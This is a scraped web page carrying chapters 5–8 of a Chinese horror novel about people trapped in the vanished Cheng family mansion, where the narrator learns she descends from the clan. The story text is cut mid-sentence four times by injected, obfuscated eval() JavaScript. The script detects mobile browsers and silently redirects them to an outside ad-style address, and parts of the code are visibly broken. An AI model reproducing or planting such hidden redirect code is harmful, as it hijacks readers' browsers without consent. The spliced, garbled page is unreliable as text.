;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156080|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四五岁模样的小姑娘。 “十二个人到齐后,房间里已经不安全了,我们先在这里避一避。” 袁怔和这个叫程翠的小姑娘是今晚进的宅子,袁怔就住在袁宋隔壁。我和袁宋那一排是坐北朝南,如果从大门往走廊深处分别标记“1”至“6”,那我住的就是北三间,袁宋在北四间,袁怔和程翠分别住在北五和北六间。 他刚进房间时还没熄灯,打开蓝牙就和袁宋联系上了,一番询问后他才确定十二个人已经到齐。于是他赶紧告诉袁宋和程翠熄灯后有几分钟的安全时间,让他们在熄灯后和自己来到厅堂。袁宋想起我,便让袁怔先带着程翠去厅堂,自己则来找我。 这是十分危险的举动,我很感动袁宋还能记得我。袁怔说那东西会在第一时间找到没有关好门的房间潜进去,杀掉房间的人后才会在走廊搜寻,所以袁怔和程翠走的时候都将门虚掩着,他们的房间能帮袁宋拖延一点时间。 “你们也说了那东西首先去的是没有关好门的房间,那只要关紧门就好了,为什么说房间里不安全呢?”我提问道。 “你忘了先前死去的两个人,他们也在十二人之列。死过人的房间会被锁起来,活人死人都不能进去,你说它们今天会住在哪里?”袁怔提醒我。 毫无疑问,两个死人昨晚住的是袁怔和程翠的房间,而按照之前说的每间房里只能住一个人否则房门无法关闭的规矩,这就意味着今晚必定有至少一间房被打开,至少一人死亡。明天死过人的房间再被关闭,以此类推,房间数量将不断缩减,死亡人数也将不断增加。难怪程婆婆说每天都会死人,这样一切都能说得通了。 不过现在我们四个人在这里,那两个死人应该有房间待了,其他人至少暂时没事。 袁宋连忙问起他母亲的情况。袁怔告诉他,昨天宋梅平发现他和我都消失后就立即意识到了不对劲,第一时间和袁怔取得了联系。袁怔是今天早上赶回来的,宋梅平原本也想跟进来,但一想到外面还是有个人接应比较好,只能留了下来。 “对不起,我让妈妈担心了。”袁宋攥紧了拳头。 “是啊,”袁怔拍了拍他的头,“所以你一定要好好的,千万别出意外。” 我觉得他这句话里有些不同寻常,于是问了十二人活一的说法。 “这里还有人知道宅子的事?” “嗯,是一个姓程的老婆婆。”我和他复述了婆婆的话。 袁怔沉默片刻:“你知道这座宅子的主人姓什么吗?” 这我怎么知道?但他都这样问我了,我立即有了一个猜测。 “难道姓程?”我看着他点点头,立即将视线移到程翠身上,思绪像是被按下了开机键一样突然被打开,“她也姓程,难道她也是?” 程翠朝我微微一笑,跳跃的烛火印在她的眼睛里融成一片橙色的汪洋,似乎要裹挟着我穿越回百年前的老旧时空。 5. 程家 袁怔讲起了他的故事。 这里是百年前消失的程家大院,消失的具体原因还未知,只知道姓程的一家子都住在走廊深处大门后的正屋,当家人是一个七十岁左右模样的老头,身边的人都喊他“老太爷”。这一家子人平时是不露面的,客人每日的餐食都是由寻不到踪迹的管家负责,只有见到当家人才有机会出去。 五年前的那一批伤亡惨重,只有三个人成功见到了主人家,一个人主动留在了宅子里,出去的同伴精神失常,只有袁怔回到这里等待下一次的开启。他是稽查员,只有这座宅子消失,他的任务才能结束。 “他们不是这个时代的人,换个说法,他们是从旧时代一直等到新时代的人,而且不是生人,”袁怔偏头看了程翠一眼,不由得叹了口气,“他们似乎在等待某个时机或是某个人。” “难怪这里的老旧味这么浓,”袁宋嫌弃地撇了撇嘴,“爸,那你知道追我们的是什么东西吗?和这宅子里的东西是同一种吗?” 袁怔摇了摇头:“还不清楚,我从头到尾看到的只有一团涌动的黑色。实际上,我们没人见到它的具体模样,也不知道它的杀人手法,只知道第二天有人消失房间就会被锁起来。我觉得程家人也畏惧那东西,但二者又像是共生的。” 听完袁怔的讲述,我不免对程家的事生出一丝好奇。可惜求生的渴望远远超过了好奇心,我最想知道的还是出去的办法:“既然这里是安全的,那我们什么时候可以出去呢?” “只要见到程老太爷就能出去了,根据以往的经验来看应该是四天后。” 我算了算,如果排除这个安全屋,按照死亡规律,四天后,十二个人里至少有六人死亡,最多则是全灭。 “那十二人活一的说法是怎么来的?”我一时没有转过来弯。 “这里安全的信息是十年前才摸索出来的,以往或许真的只有一两个人能活下来,而且如果十二个人全死了,又有谁能将话传出来呢?” 桌上的烛火摇摇晃晃,我循着烛光向厅堂深处瞧,总觉得最深处格外得黑,抬头望向屋顶,也总觉得有一层雾笼罩在我们头顶上方。 我们四人靠着桌椅休息,其实我还是没能完全放下心,恐惧的情绪一直盘桓在我的脑海,只等某一刻就宣泄而出。但是现在只有袁怔可信了,如果他的情报都不准确,我还是等死好了。 从来没觉得等天亮的日子如此难熬过,我自认为不是神经大条的人,但没想到在这样紧张的环境下,我竟然还能睡着。 “等会儿和老太爷拜年时嘴甜一点,把老师教你的那几句吉祥话都拿出来说。”简陋的院子里,母亲正在帮我理袄衣上的盘扣,我看着她温柔的笑容,重重点了点头。 “真乖。”母亲摸了摸我的脸,牵着我的手带我离开了院子。我们走在飞扬着灰尘的石板路上,我低头看着脚上的新鞋,再看向母亲的脚,她的那双鞋子似乎还是旧的。 没走多久,我跟着母亲来到一处大院子,院墙很高,我要仰头才能看到墙头凸出的挑檐和门檐下挂着的大红灯笼。母亲笑着和守门的人互相拜过年,然后才拉着我走进院子。院子里人很多,都是喜气洋洋的。 “四家婶子新年好啊,这么早过来给老太爷拜年啊!”一个寻常装扮的妇人向母亲说着恭贺之词。 “新年同乐。”母亲回她。 “这两天老太爷正高兴呢,大小姐留洋回来了,昨天才到的。”妇人说起大小姐时喜眉笑眼,大小姐回国在她眼里似乎是一件天大的喜事。 “是吗?大小姐留学好几年了,老太爷平时惦记得很呢,这次回来也是了却他的一桩心愿了。”母亲同妇人寒暄两句后,又带着我穿过装饰着红色绸缎的游廊和前院,最后才来到正堂给老太爷拜年。 我同母亲站在末位,等前头一群大大小小的人拜完年才轮到我们。老太爷端坐在正座,头戴一顶黑色绒帽,露出宽阔的额头,他的五官凸出,笑起来皱纹很深。我想象着这张老旧脸皮被拉平的样子,思绪不由得游离,直到母亲轻轻推了我一把,我才缓过神来。 我仿照那些哥哥姐姐们磕头拜年,绞尽脑汁说了几句吉利话才起身,至于老师教的那些拗口的话,我一点没想起来,想到母亲的叮嘱不免有几分惭愧。老太爷心情很好,笑眯眯封了我一个红包,我捏着红包角退到母亲身边,然后抬头就看到了一个让我眼前一亮的大姐姐。 她身量高挑,内着黑色暗纹长裙,外搭红色大氅,就那样鹤立鸡群地站在众人之间。她的声音清亮,说话时总是面带笑容,与母亲温柔的笑不同,她的笑太过明媚,很自然地就夺去了我的全部注意。 旁边大人小声说她就是刚回国的大小姐,老太爷的大孙女,以前在家时就是程家的掌上明珠,如今学成归国,老太爷又是欣喜又是心疼,乐得半宿都没有睡。 很快到了中午,我和族里的孩子们坐在一桌吃饭,桌上的鸡鸭鱼肉热情腾腾,包子白净得像粉扑的脸。孩子们都穿着红色,喜气洋洋的,说话声音也很大,我听见他们谈起了刚才的姐姐。 “翠姐姐在英国读了三年呢,真羡慕,国外一定很新奇吧,到处都是洋玩意儿。” “听说翠姐姐还有英文名呢,和她一起回来的人叫她格林小姐,名字听起来和我们好不一样。”孩子们叽叽喳喳说着,满是羡慕的语气。 我顺着他们的目光看向姐姐,竟然觉得她有几分熟悉。难道三年前我见过她?不过那个时候我应该还小吧,不记得也正常。 我不知道自己是怎么回的家,只记得一声震耳欲聋的枪声将我惊醒,接着我就穿着一身丧服跪在一间挂白的灵堂里。灵堂内密密麻麻跪了十来个人,外面还站着一群人,此起彼伏的哭声将我裹挟,我抬头看向牌位,上面写的是“故显六祖考程公讳碑之位”。 “翠呢?爹那么疼她,她怎么能不回来见爹最后一面?”一个女人哭喊着。 “翠一时回不来,更何况她那边也不太平,”男人啜泣地拍了拍她的肩,“让她早早离开也是爹的意思,爹说怕护不住她,只有自立才有出路。” “那我们呢?”女人绝望地看着男人,“所以我们被留下了吗?” 男人看了一眼牌位,最终只是摇了摇头。众人注意到他们的动静,哭声也小了一些。 “请大师开坛。”灵堂外传来诵经声,我扭头往外看去,只见一个慈眉善目的和尚缓步踏进了灵堂里,我被人拽到一边跪着,然后在他催眠的诵经声中迷迷糊糊睡了过去。 “走吧,都走吧。”好像是一个女人的哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156081|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊声。 我是在母亲的怀里被颠簸醒的,母亲只不顾一切地向前跑,她还是穿着那一双老旧的鞋子,她身上的衣服褪了色,但她还是一直在向前跑。 我看着那座让人啧啧称羡的高头大院一下子变成青白的颜色,红色的火焰从最大的那扇朱门处燃起,很快就蔓延成熊熊大火。“轰隆”,是榉木折断的声音,然后是砖墙倒塌,夹杂着数人的哭喊。 “天行有常……”好像有人对我说过这句话,但是我已经记不太清了。 我的视线在颠簸中逐渐模糊,眼前的景色也逐渐褪去了彩色,最终化成一片灰白。 “老师,天亮了。”有人摇晃着我的肩膀,我睁开眼时看见的就是袁宋的脸。 墙壁的高处开着一扇窗,日光透过窗子照在对面的墙壁上,印下一把扇子的影子,我沉默许久才从那朱楼崩塌的梦中彻底清醒过来,不过是一场梦,就好像我也经历了一个家族的盛极而衰。 “我们可以从这个窗子出去吗?”我指了指那扇窗子。 “上次就试过了,出不去。”袁怔回答我。 我失落了一瞬,掏出手机看了一眼,六点五十分,快要到饭点了。 “我们得在七点前离开厅堂。”袁怔告诉我们厅堂只有在特定时间段内才是安全的,它和饭堂的安全时间完全相反。 可是还没到七点,外面会有危险的吧。袁怔看出我的犹豫:“以后都是五十八分出门,我先出去,没有危险你们再跟上。如果情况有变,我会拖延两分钟,你们就趁着这个空隙冲到饭堂。” 看着袁怔迈出厅堂的时候,我的心提到了嗓子眼。我是最后一个离开的,大门关闭的那一刻,似乎有什么东西从我身后一闪而过,速度快得我看不清。蜡烛早就熄灭,此时却爆出一个灯花。 十二人的餐桌上只有两个椅子空着,除了和尚外,众人的神色都很疲惫,狄堂甚至连头都没有抬。 “没有死人,婆婆你不是说每晚都会死人的吗?”蔡思琪率先向程婆婆发问。 程婆婆那双迟钝的眼从我们身上一一扫过,最终定在狄堂身上,嘴角浮现出一丝诡异的笑容:“或许已经死了呢。” “够了,不要再说了!”狄堂拍案而起,一把扯开椅子冲出了饭堂。 “狄堂!”蔡思琪回头大声呼喊着他的姓名,但整个人却坐在座位上一动不动。 我想狄堂可能是疯了,早知道他可能会疯,但是疯在安全夜后的第一天还是太可惜了。餐桌上的其他人看起来很平静,对他的离去都没有作声。 “不会有事的。”袁怔说。 “婆婆见过这座宅子吗?”我问程婆婆。 “见过,”婆婆看向我时又嘿嘿笑起来,“有一幅画,画里的宅子很大,有很多间房子,都可漂亮了。” “那婆婆知道这家主人姓程吗?”袁怔补充道。 “呵呵,”程婆婆缓慢地转头看向袁怔,眯着眼打量他,“你怎么会知道?你是……程家的什么人?” “只有程家人才能进来吗?”袁怔只是平静地追问。 “你不是程家人!”程婆婆几乎要跳脚,指着袁怔的鼻子就嚷嚷起来,“你不是程家人你进来干什么?还有你身边这个小子,你们都跟进来干什么?” 6. 旁支 我不知道程婆婆为什么会突然跳脚,在座的除了她和程翠谁能是程家人? 我记起了昨晚的梦,那些场景还历历在目,梦中人的一颦一笑都映在我的脑海,我有点分不清那些是我的幻想还是曾经真实存在过的历史,于是我问了老太爷的姓名:“婆婆你知道程碑这个人吗?” “你知道他!你见过他了?”程婆婆紧紧盯着我的眼睛,语气有些急切,“他说过什么时候放过我们吗?” “老师,这是怎么回事?”袁宋拉了拉我的衣摆。 我一时没有回答他们,只是想起了那个叫程翠的大小姐。梦里是程家大院,大小姐的名字也叫翠。崔小姐,程翠,袁怔说了她是程家人,会有这么巧的事情吗? “昨晚我做了一个梦,在梦里我看到了很多程家人,老太爷叫程碑,我还给他拜过年,不过后来他死了。我还见过程家的大小姐,”我扭头看向程翠,“她的名字也叫翠,有人叫她格林小姐。” 程翠眼里的惊讶不似作假,袁怔他们也震惊地看着我。 “那就对了,那就对了,”婆婆开心地笑起来,浑浊的眼里都迸发着希冀的光芒,“老太爷不就是要找大小姐吗?现在大小姐已经来了,我们终于可以走了。” “这到底是怎么回事?为什么我完全听不懂你们说的话?”宁雪迷茫地看着我们,不只是她,就连我也没有完全搞清楚。 程婆婆讲起了她的听闻,那是关于程家的往事。 十二岁那年,她在祠堂看到了两幅画,一幅是程家大宅的剪影,另一幅则是程家的全家福,绘制时间都是大小姐回国的那一年。全家福里的程家人有四十来个,站了五排,老太爷坐在第一排的最中心,右手边坐着的就是着装新潮的大小姐程翠,除他们二人外,再没有人坐着。 “他们说那是老太爷最喜爱的大孙女,是程家说一不二的大小姐,”程婆婆依旧期待地看着程翠,“你长得果真很像她啊,就是年纪小了点。” 程家是百年家族,四五代下来已有不少旁支,也就是穷亲戚。只有老太爷这一主支最为富贵,当然,这一份富贵最终也只守住了百年,最终随着老太爷的离去而散尽。 “我只知道我们家也是老太爷一脉,不过不太受重视。谁都知道他最在意的就是大小姐,所以他把我们引到这里来就是为了找大小姐,一定是这个原因!” 餐桌上陷入了沉默,程婆婆的话惊耳骇目,但我却有些怀疑。如果梦里的场景都是真的,老太爷如此疼爱程翠,当日既然早早地将她送走,如今又怎会舍得把她困在这片小天地里? “时间到了。”袁怔终止了程婆婆的故事,我吞下最后一口粥,又拿了一个包子和袁怔他们回到了厅堂。 迈进厅堂的那个瞬间,我才想起来我们还没有把袁怔的稽查员身份和厅堂这个安全点告诉大家。 “中午说也来得及,我们四个都不在客房里,除去被死人占领的两间,他们应该都是安全的。”袁怔安慰我道。 我一边吃着包子,一边将程婆婆的故事和我的梦尽可能对应起来。首先能确定的是,程翠确实是程家第一个留洋回来的大小姐,也是老太爷最喜爱的孙辈。程家的衰败就是两三年的事,工厂破产、运输受阻、商铺倒闭,昔日庞大富裕的家族就此跌落云端。主支困守至死,旁支纷纷散去,“树倒猢狲散”正是也。 “姐姐,能和我详细讲一下那个梦吗?”我点点头,应了程翠的要求详细描述了整个梦。 “程翠是我的高祖奶奶。”这层关系在我们的意料之中,但是被她这样说出来我还是觉得有些不可思议,她们中间隔了三辈人,竟然还能生得如此之像。 “听说高祖奶奶是从战火中走出来的人,那时的她一直奔走呼号在水深火热之中,也正是因此错过了见老太爷的最后一面,那是她生前最大的遗憾,”程翠从贴身口袋里拿出一张照片递给我,“这是高祖奶奶的单人照,爷爷奶奶都说我长得很像年轻时候的她。我不知道自己为什么会和她这么像,但我想,也许她会期待我代替她来终结这座宅子。” 我接过照片,仔细地回忆着梦中的那个姑娘,那抹明媚的笑似乎从这张四方的黑白照片里鲜活起来,穿梭百年定格在我面前。 “你想怎么终结?”我将照片还给她,心里有了不好的预感。 “婆婆不是说老太爷见到高祖奶奶后就会放过大家吗?只是高祖奶奶早已去世,理应由我来见他。” 这个想法实在是荒谬,我忍不住高声质问:“你是说老太爷在这里等了一百年,又搞出这样的局来,只是为了见你高祖母一面?开什么玩笑?” 程翠垂眸看着地面,声音不禁放轻:“或许不只是这样,我已经做好了最坏的打算。不管发生什么,我都会尽全力配合袁叔叔的工作的。” 你疯了!一个程家后人有什么了不起的,何况还只是个十来岁的孩子!我内心咆哮着,站起身就要指责她。 程翠似乎察觉到我的情绪,立即抬头看我。对上那双坚韧的眼睛,我最终只是挪了个位置重新坐下,什么话都没有说。因为我突然意识到,如果真的到了不得不牺牲她来换所有人生还的那一刻,大多数人应该都不会拒绝她的自愿付出,我也如此。 “孩子,别瞎想,”袁怔拍了拍程翠的肩,“我带你来是为了结束这一切,不是让你牺牲的。”然后他又看向我和袁宋:“我答应你们,大家都会完好无损地走出这座宅子。” 我轻轻点了头,心脏却跳得厉害。我没法忽视心底的那股不安,如果只是找到程翠后人这么简单,这座宅子就不会存留百年了,我想在这之外会不会还有其他的目的。 线索交流完毕,我斜靠着厅里的供桌休息,袁宋担忧地看了程翠几眼,最终坐到我身边。 “老师,您为什么会做那样的梦?” 这个答案我也想知道。并且程翠的后人就在这里,为什么不直接给她托梦?梦中的我大概是以一个小女孩的视角来进行的,虽然看不到自己的脸,但我还记得她的名字叫“学英”,她也姓程吗?而我又为什么会梦到她的经历呢? “老师……”袁宋又用他那双担忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156082|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼神注视着我,我一时不知道该嫌他烦还是感慨自己还能被人担心着。 “袁宋,别打扰你老师想心事。”袁怔打断了他的话,我看向这对神情相似的父子,自然而然想到宋梅平,丈夫和儿子都在古宅里生死未卜,最担心的人应该是她吧。 四个小时很快到了,我们又前往饭堂,这次少了一个人,是狄堂。 “他说他不饿,晚饭时再出来。”蔡思琪神情疲惫地向我们解释,不知道她眼里的憔悴是因为狄堂还是因为别的。 餐桌上的气氛有些怪异。程婆婆正心情松快地大快朵颐,蔡思琪锁着眉头看起来食欲不佳,杨菊自顾自吃着饭,和尚依旧不怎么说话。宁雪一脸茫然,和她形成对照的是眼神平静的程翠,剩下的袁怔父子和我都心思各异。 袁怔带来的相关信息还没有被公布,不过他不说,我也不打算主动说起,只要能安全离开,稀里糊涂不失于一件好事。 “婆婆,你有没有听过‘学英’这个名字?”我还是在意梦中的视角,如果能知道梦主人的身份,或许还会找到别的信息。 “没有。”程婆婆说她知道的已经全部告诉我们了,看她干饭的劲头这话不似作假,我正失望地就着鱼肉吞掉一口米饭,杨菊突然“哎”了一声:“我好像在哪里听到过?” 什么!我瞪大了双眼看向她,其他人也循着我的视线看向杨菊。 她仔细思考了半晌才开口:“好像已经过世了。这个名字我还是从我爷爷奶奶那辈人口里听到的,我都要五十了,那一辈的人早都不在了。夏老师,你问这个名字做什么?” “我记得的梦中人,除了程碑和程翠外,还有一个叫学英的小姑娘,只是我不知道她是不是程家人,心里有点在意。”我如实说了,根据梦中的场景去推算时间,她如果能活到现在都快百岁了。 众人都若有所思,但也提供不出更多关于她的信息来。 程婆婆瞪我一眼:“管她呢,老太爷要的人都在这儿了,你只要活着就行了。” 我随口反驳她:“婆婆怎么能确定老太爷想见的人只有程翠呢?说不准他还想念程家的其他人呢?” “死丫头光胡扯!”程婆婆似乎被我激怒了,扯着嗓子就开口咒我,“如果我死了,第一个就不放过你!” 我瞬间直了眼:这里真的有鬼,我要死了!脑袋里似乎有根弦断了,筷子滚落在地,只一阵天旋地转,我就已经从椅子上跌落。 “老师!”程翠和袁宋一左一右围着我,袁怔则是皱了眉头蹲在我身边,手里拿了一根长长的棍子朝我比划着。我的视线落在程婆婆身上,我看见一团黑色的雾从背后进入她的身体,她起初是惊慌的带着几分愤恨的模样,渐渐的她失去了表情,只剩下一双如狼般阴鸷的眼睛。 先是后脑勺发烫,继而是持续的嗡鸣声。我似乎能看见程婆婆的鬼魂徘徊在漆黑的走廊里,一双长着利爪的枯燥的双手向我伸来,几乎就要掐住我的脖子。 “天行有常,不为尧存,不为桀亡……”一道女声传来,那双手消失了。 7. 死亡 我被困在一个房间里,狭窄得只够我转身,这让我很不舒服,我想要出去。 “嗬。”我嘴里发出的竟然是一个苍老的声音。我低头看着自己的双手,如枯骨一般,却有着锋利的爪子。 这不是我,我很快意识到了这一点。不过我没有过多纠结自己的身份,当务之急是要离开这间屋子。这时,我听到了屋外的交谈声。 “程婆婆真的被附身了吗?” “嗯,不知道是什么时候发生的。现在来不及了,先把她关起来,明天再说。” 是袁宋和袁怔。袁怔说着还拉了一把门闩,确认门闩插紧后才离开。这时我才意识到这副身体原来是程婆婆的,不过我决定不了自己想说的话,只能发出“嗬嗬”的声音。屋外的人听到声音后都没有逗留,我想大概只能吸引其他人的注意了。 “熄灯。”随着熟悉的声音响起,房顶上的灯也暗了下来。我看不见外面的情况,在幽暗的小空间内只觉得一阵恐慌。紧接着,我哭了起来。 过了一会儿,一阵脚步声停在了房门口,紧接着是杨菊的声音:“婆婆?” “救,救命,”这副身体哭泣着向她求救,“我不是鬼,是那两个外来人想保程翠故意诬陷我,他们是想把我们都害死啊!” 我的情感被拉扯,一方面我清楚地知道这是程婆婆说的话,和我毫无关系,另一方面我又能完全代入她的情绪,我甚至能感受到她心底的怨恨、算计和欺骗杨菊时的急切。 说实话,程婆婆是这个宅子里最让我意想不到的人,她的眼那么迟钝,腿脚和脑子又那么灵活,整个人就像是一头蓄势待发的猪。除我和程翠外,宅子里的其他人都不太相信袁怔父子,反而对最先开口透露程家的婆婆有着更多的信任。 这没办法,袁怔来得最晚,又站在程婆婆认定的牺牲品程翠这边。作为中立者,最好的办法就是将两方都牺牲掉,蔡思琪宁雪她们只是秉着宁可错杀不肯放过的心态才没有阻止袁怔禁闭婆婆而已。和尚向来是个不管事的,现在就看杨菊的选择。 放还是不放,这是个值得思考的问题。程婆婆一口咬定袁怔父子为保程翠在污蔑她被鬼附身,而他们既然能关得了自己,后面也能关得了她们。她戳穿了“中立”这一虚伪立场,因为对袁怔的所作所为漠视就代表着对他的支持。 “程翠。只有把程翠留在这里我们才能出去。” “那要怎么做?” “打开她的房间,她就能彻底留下来了。” 杨菊动摇了,最让她下定决心的还是婆婆的一句话——“如果我是鬼,怎么可能这么容易就被他们抓到,不过看我是老婆子罢了。” 我不得不承认程婆婆有极大的表演天赋,仅凭哭声就让我都有些动容。我未必真的完全相信袁怔,但我可以肯定程婆婆在撒谎。 别信她!听着杨菊摆弄门闩,我在心里呐喊着。但我什么都做不了,只能眼睁睁看着房门被打开,然后一双黑色的利爪刺进杨菊的胸膛。 杨菊甚至都来不及喊叫,就这样瞪大着眼睛倒在血泊中。我来不及震惊,视角就从尸体上移开。程婆婆来到了走廊里,她一间间敲着门,都没有人应她。她顿了顿脚步,走到北一间开始敲门,这是狄堂的房间。 “狄堂!开门,是我!”这副身体里竟然发出了蔡思琪的声音! 或许是伪装声音这样的小计骗过狄堂太多次,很长时间内房间里都没有动静。不过程婆婆锲而不舍,她只蹲守在这个房间外。我对时间的感知很模糊,不知道婆婆敲了多久,房间里终于传来狄堂的咆哮声。 “够了,够了!不就是想要我死吗?我死,我死就好了!” 狄堂的房门没有闩上,程婆婆轻易地就推开房门,一把捅死了狄堂。利爪穿透墙壁刺到隔壁房间里,我听到蔡思琪凄惨的尖叫声。墙壁的洞口被血溅成一团,隔壁房间里却再没了动静,我无法判断那是狄堂的血还是蔡思琪的血。 来不及了,鬼只有一晚上的时间,天一亮程婆婆就得死。她着急地往每扇门上撞,在天亮前撞开了和尚的房间。和尚正盘腿坐在床上,手中捻着佛珠,嘴里不知道念着什么。 程婆婆一见到他就害怕地想往屋外退,却被一张散发着金光的网束缚在地上。 “嗬,嗬。”她的嘴里又发出同样的声音,却虚弱了很多。 天亮了,我从床上坐起,撇过头,看见墙上层层叠叠的人影与我的影子相重叠。他们装束各异,男女老少、帏帽垂发,就这样跟随着我的动作齐齐起身,最终被烛火钉在了墙上。 我被这一幕震撼到,心里没有恐惧,只有一种难以言说的怆然之感。我数不清墙上有多少人影,就如同我不清楚这里曾经有过多少条鲜活的生命一样。 烛火?我从床上跳下来,发现房间还是我原来住的那间,桌上却多了一根蜡烛,高度很像厅堂里的那支。也是,袁怔他们既然能把程婆婆关起来,自然也能把我关起来。 “老师,你醒了吗?”又是袁宋的声音。我抚摸桌面的手一顿,没有理会他,反而低下头继续辨认起书桌上多出的划痕。 程學英。这座宅子果真没那么简单,我想她是不是想告诉我什么?可以肯定的是,过了这么多年,这里一定葬送过不少人的性命,无论是当时的程家人还是后来在机缘巧合下进入宅子的人。 房间里再没有其他新增痕迹,我拉开门闩,却发现门被人从外面闩上了,应该是袁怔他们做的。 “袁宋,是我。”我喊了袁宋一声,然后听见脚步声停在我的房门前。 “老师,真的是你吗?”他的语气顿了顿,“老师能证明……你不是那东西吗?” 我便详细说了进宅子前的事,袁宋这才将门打开。 “老师,幸好您没事,”袁宋担忧地看着我,有些支支吾吾,“昨天,昨天……” “昨天程婆婆出事了,杨菊和狄堂都死了。”我接上他的话,他的眼里瞬间露出难以置信的神情。 “厅堂……对了,我要去厅堂!”我瞬间反应过来,快步跑向厅堂。 “老师,不可以去,危险!”袁宋跟在我后面,但他明显追不上我。饭堂没有大门,包括袁怔在内的众人就这样脸色苍白地看着我一头冲进厅堂。 我猛地一把推开厅堂大门,抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156083|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就看见老太爷高坐在最上座,他披着一件黑色长袍,手里正翻阅着一本泛黄的书册。听到动静后,他放下书册,直勾勾地朝我所在的方向看来。我被他的突然出现吓得后退一步,不小心撞到了身后的人,回头一看,发现袁宋竟然也跟着我进来了。我皱了皱眉,伸手把他往后推远了些。 “你是哪家的孩子?”比我梦中的声音多了几分威严和沧桑,是我从小就畏惧的长辈式声音。我的气焰弱了两分,深吸一口气后才直起身子,直视着他的眼睛:“我只是一个误闯入这里的路人,哪家都不是。” 程碑眯着眼打量了我一会儿,语气平静地反驳我:“不会,你能到这里来就不是误闯。” 我一时没有理解他的意思,思考间就见着他眯着眼指了指我身后的袁宋:“这小子给我的感觉有些熟悉,你叫什么名字?” “我叫袁宋。”袁宋上前两步站在我右侧,我很看不惯程碑高坐着俯视着我们的模样,何况这人还是把我们困在这里的力量之一。然而我什么都做不了,只能仍由他打量。 程碑拿起册子翻了几页,又抬起头看向袁宋:“你不是我们程家人。” 爸爸姓袁,妈妈姓宋,他当然不可能是程家人……我正这样想着,忽然察觉到了一点不对劲:子女嫁娶后代改姓是常有之事,像程家这样的大家族认子孙后代到底是认血缘还是认姓氏? “小姑娘的姓名是什么?”程碑又问我。 “夏文青。” 程碑手中拿的册子很薄,我却注意到书册里有不少书页被撕去的痕迹。难道这个册子是不完整的? “原来是老四家的孩子。好多年不见,老四家的后代都长这么大了?” “老四家?”我的心一跳,一个隐秘的猜想在我心底成型,但我不敢承认,更不愿承认我和程家有半分的瓜葛。 “你是学英的曾孙,”程碑捋着胡子轻叹一口气,双眼微眯似乎在回想当年,“还记得那孩子老实乖巧,没想到曾孙却是个胆大的。” 我不由得扯了扯嘴角,众所周知我是个懦弱胆小的人,“胆大”二字我可不敢认。不过程碑的话也证实了我心底的猜测,程学英就是我的曾祖母,而我上次做的梦就是她小时候的经历。 “老师也是程家人?”袁宋震惊地看着我。 我不知道该不该认下,二十多年我都不知道曾祖母的姓名,从没听她没提起,更没想到她还有这么一段过往。 程碑将册子递给我,我惊讶地看着册上的名字——宁雪、蔡思琪、袁怔、袁宋、行胜……最后几页都是客房众人的姓名,一页只记录一个人的祖籍谱系,所以程碑看一眼就知道我是程学英的后代。 更令我震惊的是,宁雪和蔡思琪竟然也是程家的后代,她们的谱系和我差不多,曾祖都是程家当年的旁支,在程家败落后四散流离,才有了现在的宁家和蔡家。我想她们都未必会知道自己还有程家的血脉。 “为什么没有程婆婆她们的名字?”我又问程碑。 “因为她们已经死了,那些被撕去的书页就是她们的姓名。” 我看着手里的册子,忽然明白了很多事。 8. 牺牲 我们来到这里都不是偶然,我、程婆婆还有程翠她们是因为和程家有亲缘关系而被卷进来,袁怔是这桩档案的调查员,而和尚也就是行胜和百年前的那场法事相关。程碑说主持他的法事的那个和尚叫如庸,他正是行胜的祖师。至于杨菊狄堂和早就死去的二人,他们的姓名和祖籍已不可考,但我想多少和程家有些关联。 “把我们困在这里是你的手笔?为什么?”我忍不住质问程碑,如果不是他,我就不会被困在这里忍受面临死亡的煎熬,也不会亲眼看着那么多人死在我面前。还有那些重重叠叠的人影,它们也是被埋葬在这里的生命吗? “不是我,是我们,是整个程家,”程碑脸上带了一点慈祥的笑意,“你是程家人,自然要为程家着想。” 